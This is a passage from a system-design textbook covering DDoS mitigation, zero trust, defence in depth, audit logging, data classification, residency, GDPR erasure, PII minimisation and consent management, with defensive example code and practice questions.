The defence in depth that works in practice, from outside in: anycast plus a CDN so attack traffic is absorbed across many points of presence and cached content never reaches origin; a WAF for signature and behaviour-based filtering; rate limiting by identity where possible (an API key or account is far harder to rotate than an IP address); cost-aware limits on expensive endpoints; autoscaling with a spending cap so elasticity absorbs a spike without becoming a financial denial of service; and graceful degradation — shedding optional features to keep the core path alive, as covered in 9.2.

Two frequently missed points. Legitimate traffic spikes look identical to attacks — a product launch, a viral post, a misconfigured client retrying in a loop — so mitigation must degrade rather than block outright wherever possible. And your dependencies are part of your attack surface: an endpoint that calls a third-party API on every request lets an attacker exhaust your quota there instead, which no amount of local capacity fixes.

Key Takeaways

• Volumetric attacks must be absorbed upstream (CDN, anycast, scrubbing); your application cannot defend a saturated link.
• Application-layer attacks exploit asymmetric cost — rate limit by cost, not by request count.
• Layer defences: CDN, WAF, connection and body limits, identity-based rate limits, autoscaling with a spend cap, graceful degradation.
• Prefer limiting by account or API key over IP address, which attackers rotate cheaply.
• Spikes from real users look like attacks; degrade rather than hard-block, and remember that third-party quotas can be exhausted through you.

🧪 Practice

1. Assign a cost weight to each endpoint in an API and design a budget-based rate limiter around them.
2. Configure connection, body-size, and timeout limits at a reverse proxy and explain which attack each one addresses.
3. Interview: Traffic increases 50x in one minute. How do you tell an attack from a successful marketing campaign, and does your response differ? (Hint: think about distribution of sources, request mix, and what the cost of being wrong is in each direction.)

Zero Trust Architecture

Zero trust discards the assumption that location implies trust. The traditional model was a hardened perimeter with a soft interior: get past the firewall or onto the VPN and you were trusted. That model fails against three realities — attackers get in through phishing and supply chains, employees work from everywhere, and workloads run in shared cloud infrastructure — after which "inside the network" describes the attacker as accurately as the employee.

The zero trust principle is: never trust, always verify. Every request is authenticated and authorized on its own merits regardless of origin, access is granted per resource with least privilege, and the system assumes breach — it is designed so that compromising one component yields as little as possible.

 PERIMETER MODEL                        ZERO TRUST

  internet                               every request, wherever it comes from:
     |                                     1. authenticate the identity
  [ firewall / VPN ]  <-- the wall            (user AND device AND workload)
     |                                     2. evaluate context
  ================ trusted zone =====         (device posture, location, risk)
   [app] [app] [db] [admin] [wiki]        3. authorize this specific resource
   all mutually reachable                 4. grant least privilege, short TTL
   one phished laptop = full access       5. log everything; re-evaluate often

  trust = network position               trust = a per-request decision

# A policy decision point: every access is a fresh decision over live signals.
def authorize(request, identity, device, resource, risk_engine):
    # 1. Identity is proven cryptographically, not assumed from the network.
    if not identity.verified:
        return Deny("unauthenticated")

    # 2. Device posture matters as much as identity: a valid user on a
    #    jailbroken, unpatched device is a compromised session waiting to happen.
    if not (device.managed and device.disk_encrypted
            and device.os_patch_age_days < 30):
        return Deny("device posture")

    # 3. Context and risk, evaluated now -- not at login an hour ago.
    risk = risk_engine.score(identity, device, request)   # impossible travel,
    if risk > 0.8:                                        # new device, odd hours
        return Deny("risk score")
    if risk > 0.5 and resource.sensitivity == "high":
        return StepUp("mfa_required")      # challenge rather than block

    # 4. Least privilege on the SPECIFIC resource, not on a network segment.
    if not policy.permits(identity, resource, request.action):
        return Deny("not permitted")

    # 5. Short-lived grant: the decision expires and must be made again.
    return Allow(ttl_seconds=300, scope=[f"{resource.id}:{request.action}"])

The architectural components that implement it: a strong identity provider with phishing-resistant MFA (11.1); device attestation; microsegmentation so workloads can only reach what they need rather than the whole subnet; mTLS for workload identity; a policy engine that makes decisions centrally and enforces them at each service; and comprehensive logging, because "assume breach" means detection matters as much as prevention.

The honest caveats: zero trust is a multi-year programme rather than a product, and the vendor conflation of the term with any single tool is unhelpful. It introduces a hard dependency on the identity and policy infrastructure, which must then be engineered for very high availability. And it can degrade user experience if step-up challenges are tuned badly — the goal is more frequent verification, not more frequent interruption.

The practical adoption path is incremental: start with identity and MFA everywhere, remove implicit trust from internal service calls by requiring mTLS or tokens, segment the highest-value systems first, and replace VPN-wide access with per-application access.

Key Takeaways

• Zero trust removes network location as a basis for trust: every request is authenticated and authorized on its own merits.
• It assumes breach, so least privilege, short-lived grants, and segmentation limit what one compromise yields.
• Decisions consider identity, device posture, and contextual risk, and are re-evaluated continuously rather than once at login.
• Microsegmentation and workload identity (mTLS) replace flat internal networks.
• It is a programme, not a product; adopt incrementally and engineer the identity and policy plane for very high availability.

🧪 Practice

1. Take an internal service reachable by anything in the VPC and write the policy that limits it to two named callers and two endpoints.
2. Design a step-up authentication rule that triggers only on high-sensitivity actions from unrecognized devices.
3. Interview: A company says "we bought a zero trust product". What questions do you ask? (Hint: think about the components that must exist — identity, device posture, policy, segmentation, logging — and which a single product can plausibly cover.)

Defense in Depth

Defence in depth means layering independent controls so that no single failure results in compromise. It exists because every individual control fails: WAF rules have gaps, patches lag disclosure, people get phished, and a library you depend on ships a backdoor. Designing as though each control might fail is the only realistic posture.

The analogy is a medieval castle — moat, wall, gatehouse, keep — but the useful version adds a condition that the analogy hides: the layers must be independent. Three controls that all depend on the same identity provider, or all rely on the same network assumption, are one control drawn three times. Their combined effect only multiplies when their failure modes are unrelated.

 LAYERS AROUND A SENSITIVE OPERATION (a fund transfer)

  network       WAF, rate limits, DDoS absorption
     |
  identity      MFA at login; step-up re-auth for this action
     |
  authorization object-level check: is this the caller's account?
     |
  application   input validation; amount and velocity limits
     |
  data          encrypted at rest; field-level for the account number
     |
  operational   full audit trail; anomaly alerting; asynchronous review
     |
  recovery      reversible for N hours; tested restore path

  An attacker with a stolen session still faces step-up auth, velocity limits,
  anomaly detection, and reversibility. No single bypass is sufficient.

# Layered controls on one operation. Each is independently sufficient to stop
# a class of attack, and each assumes the others may have failed.
def transfer_funds(request, ctx):
    # L1 identity: recent, strong authentication for a sensitive action
    if ctx.session.age_seconds > 300 or not ctx.session.mfa_verified:
        raise StepUpRequired()

    # L2 authorization: the object must belong to the caller
    account = ctx.db.get_account(request.from_account)
    if account.owner_id != ctx.user.id:
        raise NotFound()                       # not 403: do not confirm existence

    # L3 validation: bounds that make an exploit less useful even if reached
    if not (0 < request.amount <= account.transfer_limit):
        raise ValueError("amount out of range")

    # L4 velocity: limits the damage of a fully compromised session
    if ctx.velocity.sum_last_24h(ctx.user.id) + request.amount > account.daily_limit:
        raise LimitExceeded()

    # L5 anomaly: new payee + unusual amount + new device -> hold for review
    if ctx.risk.score(request, ctx.user) > 0.7:
        return ctx.queue_for_review(request)   # degrade, do not silently allow

    # L6 audit: an immutable record regardless of outcome
    ctx.audit.write("transfer", user=ctx.user.id, amount=request.amount,
                    to=request.to_account, ip=ctx.ip, device=ctx.device_id)

    return ctx.execute_transfer(request)

Two supporting principles are usually discussed alongside it. Fail secure: on error, deny. An authorization service timeout must not result in access being granted, which is a real and recurring bug — it usually arrives as a well-intentioned "don't let the auth service outage break the product" change. Least privilege at every layer: each component gets only the access it needs, so a compromise yields the smallest possible foothold.

Layer	Control examples	Fails when...
Network	Segmentation, firewalls, DDoS absorption	The attacker is already inside
Host	Patching, hardened images, EDR	A zero-day is used
Application	Validation, authorization, CSRF/XSS defences	There is a logic flaw
Data	Encryption, tokenization, masking	The app credential is stolen
Identity	MFA, short sessions, step-up auth	A session token is stolen
Operational	Audit logs, alerting, anomaly detection	Nobody reads the alerts
Recovery	Backups, reversibility, incident response	Restore was never tested

The cost side deserves honesty: layers add latency, complexity, and operational burden, and a control nobody maintains is worse than none because it produces false confidence. Weight the layers toward the highest-value assets rather than applying everything uniformly.

Key Takeaways

• Layer independent controls so that no single failure causes compromise; every control fails eventually.
• Independence is the requirement — controls sharing a failure mode are one control repeated.
• Fail secure: errors and timeouts in authorization must deny, never allow.
• Apply least privilege at every layer so a compromise yields the smallest possible foothold.
• Weight layers toward high-value assets; unmaintained controls create false confidence.

🧪 Practice

1. Pick a sensitive operation in a system you know and enumerate the layers protecting it; identify any two that share a failure mode.
2. Find a code path where a dependency failure results in permitting an action, and convert it to fail secure.
3. Interview: Is more security always better? (Hint: think about latency, the cost of maintaining controls, user behaviour under friction, and what happens to a control nobody owns.)

Audit Logging

An audit log is an immutable record of security-relevant events: who did what, to what, when, and from where. It differs from application logging in purpose and therefore in design. Application logs exist to debug behaviour and can be sampled, rewritten, and discarded. Audit logs exist to answer questions after an incident and to satisfy regulators, so they must be complete, tamper-evident, and retained.

The requirement that drives the design is that you cannot investigate what you did not record. A breach discovered three months later is investigated entirely through logs; if reads were not logged, "what did the attacker access?" has no answer, and in most regulatory regimes an unanswerable question means you must notify everyone.

import json, hmac, hashlib, time

# ---- What an audit event must contain --------------------------------------
def audit_event(actor, action, resource, outcome, ctx, before=None, after=None):
    return {
        "timestamp": time.time_ns(),          # high resolution, and one clock source
        "actor": {                            # WHO -- the authenticated subject
            "id": actor.id, "type": actor.type,     # user | service | system
            "auth_method": actor.auth_method,       # password+mfa, mtls, api_key
            "on_behalf_of": actor.impersonating,    # admin acting as a user
        },
        "action": action,                     # WHAT -- verb, from a fixed set
        "resource": {                         # TO WHAT -- specific object
            "type": resource.type, "id": resource.id,
            "classification": resource.classification,
        },
        "outcome": outcome,                   # success | denied | error
        "context": {                          # FROM WHERE
            "ip": ctx.ip, "user_agent": ctx.user_agent,
            "request_id": ctx.request_id,     # correlates with app logs/traces
            "session_id": ctx.session_id,
        },
        "changes": {"before": before, "after": after},   # for mutations
    }
    # Note what is absent: the DATA itself. An audit log recording the value of
    # a field it protects becomes a second copy of the sensitive data.

# ---- Tamper evidence: hash chaining ----------------------------------------
def append(event, prev_hash, hmac_key, store):
    body = json.dumps(event, sort_keys=True)
    # Each entry commits to the previous one, so deleting or editing any entry
    # breaks the chain for every entry after it.
    digest = hmac.new(hmac_key, (prev_hash + body).encode(), hashlib.sha256).hexdigest()
    store.append({"event": body, "prev": prev_hash, "hash": digest})
    return digest

def verify_chain(entries, hmac_key):
    prev = "0" * 64
    for e in entries:
        expected = hmac.new(hmac_key, (prev + e["event"]).encode(),
                            hashlib.sha256).hexdigest()
        if expected != e["hash"]:
            return False, e            # first tampered or missing entry
        prev = e["hash"]
    return True, None

What must be logged, at minimum: authentication attempts (success and failure), authorization denials, access to sensitive data — reads included — all administrative actions, privilege and permission changes, configuration changes, and key or secret operations. Reads are the entry most often skipped and the one most often needed.

Property	Requirement	Why
Immutable	Append-only; WORM storage	An attacker's first move is the logs
Tamper-evident	Hash chain or signatures	Detect deletion and modification
Separate	Different account/system from the app	App compromise must not grant log write
Complete	Includes reads and denials	Scope the breach; prove non-access
Time-synced	NTP; a single timezone (UTC)	Correlate across systems
Retained	Per regulation (often 1–7 years)	Investigations start late
Monitored	Alerts on the patterns that matter	An unread log prevents nothing
Privacy-aware	References, not copies, of sensitive data	Do not duplicate what you protect

The most important architectural detail is separation: audit logs must be written to a system the application cannot modify — a different account, a different trust domain, append-only storage — because a compromised application that can erase its own audit trail provides no assurance at all. Streaming to a separate SIEM or immutable store, with write-only credentials on the application side, is the standard shape.

Key Takeaways

• Audit logs answer who did what to what, when, and from where; they are for investigation and compliance, not debugging.
• Log reads and denials, not just writes — otherwise you cannot scope a breach.
• Store them in a system the application cannot modify, append-only, with write-only credentials on the app side.
• Make them tamper-evident with hash chaining or signatures, and verify the chain periodically.
• Reference sensitive data rather than copying it, keep clocks synchronized in UTC, and alert on the patterns that matter — an unread log prevents nothing.

🧪 Practice

1. Define the audit event schema for a healthcare record system, including what a read event must and must not contain.
2. Implement hash chaining over an append-only log and demonstrate that editing one middle entry is detected.
3. Interview: An attacker had access for three months. How do you determine what they accessed? (Hint: think about which events would need to have been logged before the incident, and what you would have to assume in their absence.)

<a id="114-privacy-and-regulatory-design"></a>

11.4 Privacy and Regulatory Design

Privacy regulation converts questions that used to be product preferences into architectural constraints: what you may collect, where it may be stored, how long you may keep it, and what you must be able to do on demand. This subchapter covers how to classify data, the residency and erasure requirements that reshape storage design, and how to build compliance in rather than bolt it on.

Data Classification

Every privacy and security control depends on knowing what data you hold and how sensitive it is. Without classification, protection is applied uniformly — which in practice means the highest standard is too expensive to apply everywhere, so the lowest standard is applied to everything, including the data that matters.

Classification assigns each data element a level, and each level carries mandatory handling requirements. The point is that the level does the deciding: an engineer adding a field does not judge how to protect it, they label it, and the label determines encryption, retention, access, and whether it may leave a region.

Level	Examples	Handling requirement
Public	Marketing pages, published docs	No restriction; integrity still matters
Internal	Runbooks, non-sensitive metrics	Authenticated access only
Confidential	Customer names, emails, order history	Encrypted at rest, RBAC, audit reads
Restricted	Payment data, health data, national IDs	Field-level encryption or tokenization, MFA, full audit, residency limits

# Classification as code: the schema declares sensitivity, and the platform
# derives the controls. Labels in a wiki drift; labels in the schema do not.
from dataclasses import dataclass, field, fields

@dataclass
class Column:
    name: str
    classification: str            # public | internal | confidential | restricted
    pii: bool = False
    purpose: str = ""              # why it is collected -- required by GDPR
    retention_days: int | None = None
    residency: str | None = None   # "eu-only" | None

CUSTOMER_SCHEMA = [
    Column("id",           "internal",     purpose="identifier"),
    Column("email",        "confidential", pii=True,  purpose="account_login",
           retention_days=2555),                       # 7 years
    Column("full_name",    "confidential", pii=True,  purpose="fulfilment",
           retention_days=2555),
    Column("national_id",  "restricted",   pii=True,  purpose="tax_reporting",
           retention_days=3650, residency="eu-only"),
    Column("last_login_ip","confidential", pii=True,  purpose="fraud_detection",
           retention_days=90),                         # short: minimize
    Column("signup_source","internal",     purpose="analytics", retention_days=730),
]

# Controls are DERIVED, not decided per field by whoever writes the migration.
CONTROLS = {
    "public":       {"encrypt_at_rest": False, "audit_reads": False},
    "internal":     {"encrypt_at_rest": True,  "audit_reads": False},
    "confidential": {"encrypt_at_rest": True,  "audit_reads": True,  "mask_in_logs": True},
    "restricted":   {"encrypt_at_rest": True,  "audit_reads": True,  "mask_in_logs": True,
                     "field_encryption": True, "mfa_required": True},
}

def required_controls(col: Column) -> dict:
    return CONTROLS[col.classification]

def ci_check(schema):
    # Fails the build if a PII column has no purpose or no retention -- both are
    # legal requirements, and both are easy to forget in a rushed migration.
    problems = [c.name for c in schema
                if c.pii and (not c.purpose or c.retention_days is None)]
    assert not problems, f"PII columns missing purpose/retention: {problems}"

Two related ideas complete the picture. A data inventory (or record of processing activities, which GDPR requires) maps what you hold, where it lives, why, on what legal basis, and who it is shared with. Building it manually is a losing game against a changing codebase, which is why deriving it from annotated schemas is the approach that survives.

Data lineage tracks how classified data propagates. A restricted field copied into an analytics warehouse, a cache, a search index, or a log line carries its classification with it — and this is where most compliance failures happen, not in the primary database that everyone remembers to protect. The practical test: for any sensitive field, can you enumerate every system it reaches? If not, you cannot honestly answer a deletion request or a breach-scope question.

Key Takeaways

• Classification lets you apply proportionate controls instead of a uniform standard that ends up being the weakest one.
• Encode classification in the schema so controls are derived automatically and cannot drift from a wiki page.
• Require purpose and retention for every PII field, and enforce it in CI.
• Maintain a data inventory derived from annotated schemas rather than maintained by hand.
• Track lineage: copies in warehouses, caches, indexes, and logs carry the same classification, and that is where failures concentrate.

🧪 Practice

1. Classify every column of a table you work with and list which currently lack the controls their level requires.
2. Write a CI check that fails when a new PII column is added without a purpose and a retention period.
3. Interview: How do you know where a customer's email address exists in your systems? (Hint: think about what would have to be true at design time for that question to be answerable in minutes rather than weeks.)

Data Residency and Sovereignty

Data residency requirements dictate where data may be physically stored and processed. They arise from national law, sector regulation, and contractual commitments to customers, and they are architectural rather than operational: a system designed to store everything in one region cannot satisfy them without substantial rework.

The distinction worth keeping straight: residency is where data sits; sovereignty is whose laws apply to it — which can differ, since a provider headquartered in one country may be legally compelled to produce data stored in another. That is why some requirements go beyond "store it in region X" to "store it in region X, operated by an entity subject only to X's law".

 SINGLE REGION                          REGIONAL PARTITIONING

  all users -> [ us-east ]               EU users  -> [ eu-central ] -+
                    |                    US users  -> [ us-east ]     |
              one database                                            |
                                         each region: full stack,     |
  simple, cheap                          own database, own keys       |
  fails EU/India/China rules                                          v
                                         shared globally: only non-personal
                                         reference data (catalog, config)

  The hard part is not the split. It is everything global that assumed one
  database: analytics, search, ML training, support tooling, and backups.

# Region routing must happen before any data is written, at the edge, and it
# must be derived from a stored attribute rather than guessed per request.
REGION_OF = {"DE": "eu-central", "FR": "eu-central", "IT": "eu-central",
             "US": "us-east",    "CA": "us-east",
             "IN": "ap-south"}                     # India: local storage rules

def route(user, request):
    # The user's home region is decided once, at signup, and stored. Routing on
    # request IP would move a traveller's data across a legal boundary.
    region = user.home_region or REGION_OF.get(request.signup_country, "us-east")
    return f"https://{region}.api.example.com"

def assert_write_allowed(record, target_region, schema):
    # A guard rail in the data layer: a restricted, residency-tagged field can
    # never be written outside its permitted region, even by a bug in a job.
    for col in schema:
        if col.residency == "eu-only" and not target_region.startswith("eu-"):
            if record.get(col.name) is not None:
                raise ResidencyViolation(f"{col.name} -> {target_region}")

# Cross-region aggregation without moving personal data:
def global_metrics(regions):
    # Each region computes aggregates LOCALLY and exports only anonymous counts.
    # The personal data never crosses the boundary; the numbers do.
    totals = {}
    for r in regions:
        for metric, value in r.export_aggregates(min_cohort=50).items():
            totals[metric] = totals.get(metric, 0) + value    # k-anonymity floor
    return totals

The consequences ripple much further than the primary database, and enumerating them early is what separates a workable design from a painful retrofit:

• Backups and disaster recovery must stay in-region, which means a region-local DR strategy rather than a single global one.
• Analytics and ML cannot simply pool everything; either aggregate locally and combine anonymized results, or train per region.
• Support tooling must respect the boundary — a support agent in one region viewing another region's customer records is a transfer.
• Logs and traces routinely contain personal data and routinely ship to a central observability stack, which is one of the most common accidental transfers.
• Third-party processors inherit the requirement; a vendor that processes in a different region breaks compliance regardless of your own architecture.
• Cost and latency rise: N regional stacks cost more than one, and any genuinely global feature becomes a cross-region problem.

Approach	What it gives	Cost
Full regional stacks	Strongest compliance story	N deployments, N pipelines
Regional data, global compute	Simpler ops	Processing may itself be regulated
Global with field encryption	One deployment; keys held regionally	Acceptable only under some regimes
Single region + consent	Simplest	Not viable in many jurisdictions

The design guidance that follows: partition by region from the start if you have any plausible international ambition, keep the region an explicit attribute of every account rather than inferring it, and make the data layer — not each service — enforce the boundary, so compliance does not depend on every developer remembering.

Key Takeaways

• Residency is where data lives; sovereignty is whose law reaches it, and the two do not always coincide.
• Partitioning by region is an architectural decision that is very expensive to retrofit.
• The hard part is everything global: analytics, search, support tooling, logs, backups, and third-party processors.
• Store the user's home region as an explicit attribute set at signup; never infer it from request IP.
• Enforce residency in the data layer so it does not depend on per-developer discipline, and export only aggregates across boundaries.

🧪 Practice

1. Design a regional partitioning scheme for a SaaS with EU and US customers, and list every component that must be duplicated.
2. Write a data-layer guard that rejects writes of residency-tagged fields to a non-permitted region, with a test proving a background job cannot bypass it.
3. Interview: Your observability stack is in one region and receives logs from all of them. What is the problem? (Hint: think about what routinely ends up in log lines and what crossing a boundary means legally.)

GDPR and Right to Erasure

The GDPR gives individuals a set of rights over their personal data, and each right translates into a technical capability the system must actually have. The architectural point is that these are not reporting requirements satisfied after the fact — several of them are impossible to satisfy unless the system was designed for them.

Right	What the system must be able to do
Access	Produce everything held about a person
Rectification	Correct data, and propagate the correction downstream
Erasure	Delete, everywhere, including backups and processors
Portability	Export in a structured, machine-readable format
Restriction	Keep data but stop processing it
Object	Stop processing based on legitimate interest
Automated decisions	Explain, and allow a human review

Erasure ("right to be forgotten") is the hardest, because deletion in a modern architecture is not one operation. The same person's data exists in the primary database, read replicas, caches, search indexes, the analytics warehouse, message queues and their retention windows, application logs, backups, and every third-party processor. Deleting a row addresses the first of those.

 WHERE ONE PERSON'S DATA ACTUALLY LIVES

   [ primary DB ] -- replicas -- [ cache ] -- [ search index ]
         |                                          ^
         +--> [ event log (7d) ] --> [ warehouse ] -+
         |                                |
         +--> [ app logs (30d) ]          +--> [ ML training set ]
         |
         +--> [ backups (90d) ] ------> restorable copies
         |
         +--> [ processors: email, payments, support desk, analytics ]

  A DELETE on the primary reaches exactly one of these boxes.

# Erasure as an orchestrated, auditable workflow -- not a DELETE statement.
class ErasureRequest:
    STAGES = [
        ("verify_identity",     "the requester must be proven to be the subject"),
        ("check_legal_holds",   "tax, AML, and litigation obligations can override"),
        ("primary_delete",      "database rows, in a transaction"),
        ("cascade_stores",      "cache, search index, derived tables"),
        ("purge_streams",       "compact/tombstone keyed topics"),
        ("scrub_analytics",     "warehouse rows and any ML feature store"),
        ("notify_processors",   "every third party, with confirmation tracked"),
        ("schedule_backup_expiry", "backups age out; record the completion date"),
        ("record_completion",   "audit entry: what, when, what was retained"),
    ]

def erase(subject_id, ctx):
    # Legal holds are the common surprise: some data MUST be retained, and the
    # lawful answer is partial erasure plus an explanation to the subject.
    holds = ctx.legal.holds_for(subject_id)     # e.g. invoices: 7 years (tax law)
    retained = [h.data_category for h in holds]

    ctx.db.execute("DELETE FROM users WHERE id = %s", (subject_id,))
    ctx.db.execute("UPDATE orders SET customer_id = NULL, "
                   "  ship_to = NULL WHERE customer_id = %s", (subject_id,))
    #                ^ anonymize rather than delete where the RECORD must survive
    #                  for accounting but the PERSON need not be identifiable

    ctx.cache.delete_pattern(f"user:{subject_id}:*")
    ctx.search.delete_document(subject_id)
    ctx.warehouse.delete_subject(subject_id)
    for p in ctx.processors:
        ctx.track(p.name, p.request_erasure(subject_id))   # confirmations matter

    # Backups: restoring one to delete one row is usually infeasible, so the
    # accepted practice is documented aging-out plus a re-deletion procedure
    # applied if a restore ever occurs.
    ctx.schedule_reerasure_on_restore(subject_id, until=ctx.backup_horizon())

    ctx.audit.write("erasure_completed", subject=subject_id, retained=retained)
    return {"status": "completed", "retained_categories": retained}

The design decisions that make all of this tractable:

• Crypto-shredding. Encrypt each subject's data with a per-subject key and destroy the key on erasure. The ciphertext becomes permanently unreadable, which handles append-only stores, event logs, and backups where physical deletion is impractical.
• Centralize the subject identifier. If every store keys personal data by the same subject ID, erasure is a fan-out. If each system invented its own key, finding the data is the hard part.
• Anonymize where records must survive. An invoice must persist for tax law; it does not have to identify the person. Removing identifiers preserves the business record and satisfies the right.
• Log deletion requests as audit events — you must be able to demonstrate compliance, and a deletion with no record is indistinguishable from ignoring it.

Note the deadlines: responses are generally due within one month, which rules out manual processes at any scale. Note also that consent is only one of six lawful bases, and the basis determines which rights apply — erasure obligations differ between data held under consent and data held under a legal obligation.

Key Takeaways

• Each GDPR right is a technical capability; erasure and access are impossible to retrofit cheaply.
• Deletion must reach replicas, caches, indexes, warehouses, streams, logs, backups, and every processor — not just the primary row.
• Crypto-shredding makes erasure workable for append-only and backup data by destroying the per-subject key.
• Anonymize where a record must legally survive; legal holds can lawfully override erasure, and the subject must be told what was retained.
• Use one subject identifier across all stores, and audit every request — one-month deadlines make manual handling unworkable.

🧪 Practice

1. Enumerate every store holding personal data in a system you know and write the erasure step for each.
2. Design crypto-shredding for an event-sourced store, stating exactly what becomes unreadable and what metadata remains.
3. Interview: A user requests erasure but you must keep invoices for seven years. What do you do? (Hint: think about the difference between deleting a record and removing the ability to identify a person from it.)

PII Handling and Minimization

Personally identifiable information is any data that can identify a person directly or in combination with other data. The second half of that definition does the real work: a birth date is not identifying, and neither is a postcode, but the combination of birth date, postcode, and gender identifies a large share of a population. This is why "we removed the names" is not anonymization.

Data minimization is the principle that reverses the default instinct. Collect only what you need for a stated purpose, keep it only as long as that purpose requires, and grant access only to those who need it. Every field you do not collect is a field that cannot leak, cannot be subpoenaed, cannot need encryption, and cannot appear in a breach notification. It is the cheapest security control available, and it is applied at design time or not at all.

# The question to ask for every field is "what breaks if we do not have it?"
SIGNUP_FIELDS = {
    "email":        {"needed_for": "login and receipts",     "keep": True},
    "password":     {"needed_for": "authentication",         "keep": True},
    "full_name":    {"needed_for": "shipping label",         "keep": True},
    "birth_date":   {"needed_for": "age gate (18+)",         "keep": False,
                     "alternative": "store a boolean is_over_18; verify once"},
    "phone":        {"needed_for": "nothing yet -- 'maybe SMS later'",
                     "keep": False, "alternative": "collect it when SMS ships"},
    "gender":       {"needed_for": "analytics segmentation", "keep": False,
                     "alternative": "optional, self-described, aggregate only"},
}
# Replacing birth_date with is_over_18 removes a strong quasi-identifier while
# preserving the only thing the business actually needed from it.

# ---- Re-identification risk: why "anonymized" often is not ----------------
def k_anonymity(rows, quasi_identifiers):
    """Smallest group size sharing the same quasi-identifier combination.
    k = 1 means at least one person is uniquely identified by these fields."""
    from collections import Counter
    groups = Counter(tuple(r[q] for q in quasi_identifiers) for r in rows)
    return min(groups.values())

QI = ["postcode", "birth_year", "gender"]
# k_anonymity(dataset, QI) == 1  ->  publishing this "anonymous" dataset
# identifies people. Generalize (postcode -> region, birth_year -> decade) or
# suppress rare rows until k is at least 5-10 for the intended audience.

Practical handling rules that prevent the routine leaks:

• Do not log PII. Log a subject ID and look it up when needed; a central redaction filter at the logging boundary (11.2) is the enforcement.
• Keep PII out of URLs. Query strings land in access logs, browser history, referrer headers, and third-party analytics.
• Do not use PII as an identifier. Email addresses change and are shared; a synthetic ID is stable and does not leak meaning when it appears in a URL.
• Segregate rather than scatter. Keeping identifying fields in one service behind an API is what makes deletion, audit, and residency tractable.
• Never copy production PII into non-production environments. Use pseudonymized or synthetic data (11.2).
• Apply retention automatically. A field with a retention period that nothing enforces is a field kept forever.

-- Retention as a scheduled job, not a policy document nobody runs.
DELETE FROM login_events        WHERE created_at < now() - interval '90 days';
DELETE FROM support_transcripts WHERE closed_at  < now() - interval '2 years';

-- Anonymize where the record must survive but the person need not be known.
UPDATE orders
   SET customer_email = NULL,
       ship_to_name   = NULL,
       ship_to_line1  = NULL,
       ship_to_postcode = left(ship_to_postcode, 3)   -- generalize, keep geo stats
 WHERE placed_at < now() - interval '7 years';

Key Takeaways

• PII includes data identifying a person in combination with other data; removing names does not anonymize a dataset.
• Minimization is the cheapest control: data not collected cannot leak, cannot be breached, and needs no protection.
• Replace sensitive fields with derived answers where possible (is_over_18 instead of a birth date).
• Measure re-identification risk with k-anonymity over quasi-identifiers before publishing or sharing any "anonymized" dataset.
• Keep PII out of logs and URLs, never use it as an identifier, segregate it behind one service, and enforce retention with a scheduled job.

🧪 Practice

1. Review a signup form field by field and justify each one's necessity or propose a less identifying substitute.
2. Compute k-anonymity for a dataset using postcode, birth year, and gender, then generalize fields until k is at least 5.
3. Interview: Marketing wants to keep all user data forever "in case it becomes useful". How do you respond? (Hint: frame it in terms of the lawful basis for retention and the expected cost of holding it during a breach.)

Consent Management

Consent is one lawful basis for processing personal data, and where it applies it must be freely given, specific, informed, and unambiguous — with withdrawal as easy as granting. Those adjectives are technical requirements: "specific" means per-purpose rather than blanket, "informed" means the purpose is stated at the time, and "unambiguous" rules out pre-ticked boxes and inferred agreement.

The architectural consequence is that consent cannot be a boolean column. It must be a versioned, timestamped record per purpose, retained as evidence, because the obligation is to demonstrate that consent was validly obtained — which means knowing exactly what text the person agreed to and when.

from dataclasses import dataclass
import time

@dataclass(frozen=True)                 # immutable: consent records are evidence
class ConsentRecord:
    subject_id: str
    purpose: str                # "marketing_email" | "analytics" | "personalization"
    granted: bool
    policy_version: str         # WHICH text they agreed to
    timestamp: float
    method: str                 # "signup_form" | "preferences_page" | "api"
    evidence: dict              # ip, user agent, the exact wording shown

class ConsentStore:
    """Append-only. A withdrawal is a NEW record, never an update of the old one:
    you must be able to prove what was true at any past moment."""
    def __init__(self, store): self.store = store

    def record(self, rec: ConsentRecord):
        self.store.append(rec)

    def current(self, subject_id, purpose) -> bool:
        history = self.store.query(subject_id=subject_id, purpose=purpose)
        latest = max(history, key=lambda r: r.timestamp, default=None)
        return bool(latest and latest.granted)

    def was_granted_at(self, subject_id, purpose, at: float) -> bool:
        # The question an auditor asks: "was this email lawful when you sent it?"
        prior = [r for r in self.store.query(subject_id=subject_id, purpose=purpose)
                 if r.timestamp <= at]
        return bool(prior and max(prior, key=lambda r: r.timestamp).granted)

# Enforcement belongs at the point of processing, checked every time.
def send_marketing_email(subject_id, consent: ConsentStore, mailer):
    if not consent.current(subject_id, "marketing_email"):
        return                                   # silently skip, do not queue
    mailer.send(subject_id)

# Withdrawal must be as easy as granting, and must take effect immediately --
# including for work already queued.
def withdraw(subject_id, purpose, consent, queues):
    consent.record(ConsentRecord(subject_id, purpose, False, CURRENT_POLICY,
                                 time.time(), "preferences_page", evidence={}))
    queues.cancel_pending(subject_id, purpose)   # the step most often missed

 CONSENT LIFECYCLE

  presented ---> granted (v2.1, 2026-03-04) ---> processing permitted
      |              |
      |              +--> policy updated to v3.0 -> RE-CONSENT for new purposes
      |                   (an existing consent does not extend to a new purpose)
      |
      +--> declined --> processing on this basis is unlawful; the product
                        must still work for everything not requiring it

  withdrawn (2026-08-26) --> processing stops immediately, including queued work
                             historical records of the consent itself are KEPT
                             as evidence -- withdrawal is not erasure

The design rules that follow:

• Granular by purpose. Analytics, marketing, and personalization are separate consents; bundling them makes none of them valid.
• Opt-in, unticked, symmetric. Withdrawal must be no harder than granting — one click if granting was one click.
• No service conditioning. Denying optional consent must not break unrelated functionality, or the consent is not freely given.
• Enforce at the processing point, not at collection. Every job, export, and third-party sync checks current consent, because consent changes after data is collected.
• Propagate withdrawals to processors. An analytics vendor still holding the data continues processing unless told.
• Version the policy text and re-request consent when purposes change; a cosmetic wording change does not require re-consent, a new purpose does.

Consent is also not always the right basis, and defaulting to it is a common mistake. Contract, legal obligation, and legitimate interest cover most core functionality — you do not need consent to charge for what someone bought. Using consent where another basis applies is worse, because it grants a withdrawal right that then breaks the service.

Key Takeaways

• Consent must be specific, informed, unambiguous, and as easy to withdraw as to give — all of which are technical requirements.
• Store consent as immutable, versioned, timestamped records per purpose, with the policy version and evidence; a boolean column cannot demonstrate compliance.
• Check consent at the point of processing every time, not once at collection.
• Withdrawal takes effect immediately, including cancelling queued work and notifying processors.
• Consent is only one lawful basis; using it where contract or legal obligation applies creates a withdrawal right that breaks the service.

🧪 Practice

1. Design the consent schema for a product with marketing, analytics, and personalization purposes, including what evidence each record stores.
2. Implement was_granted_at and use it to verify that a past marketing send was lawful.
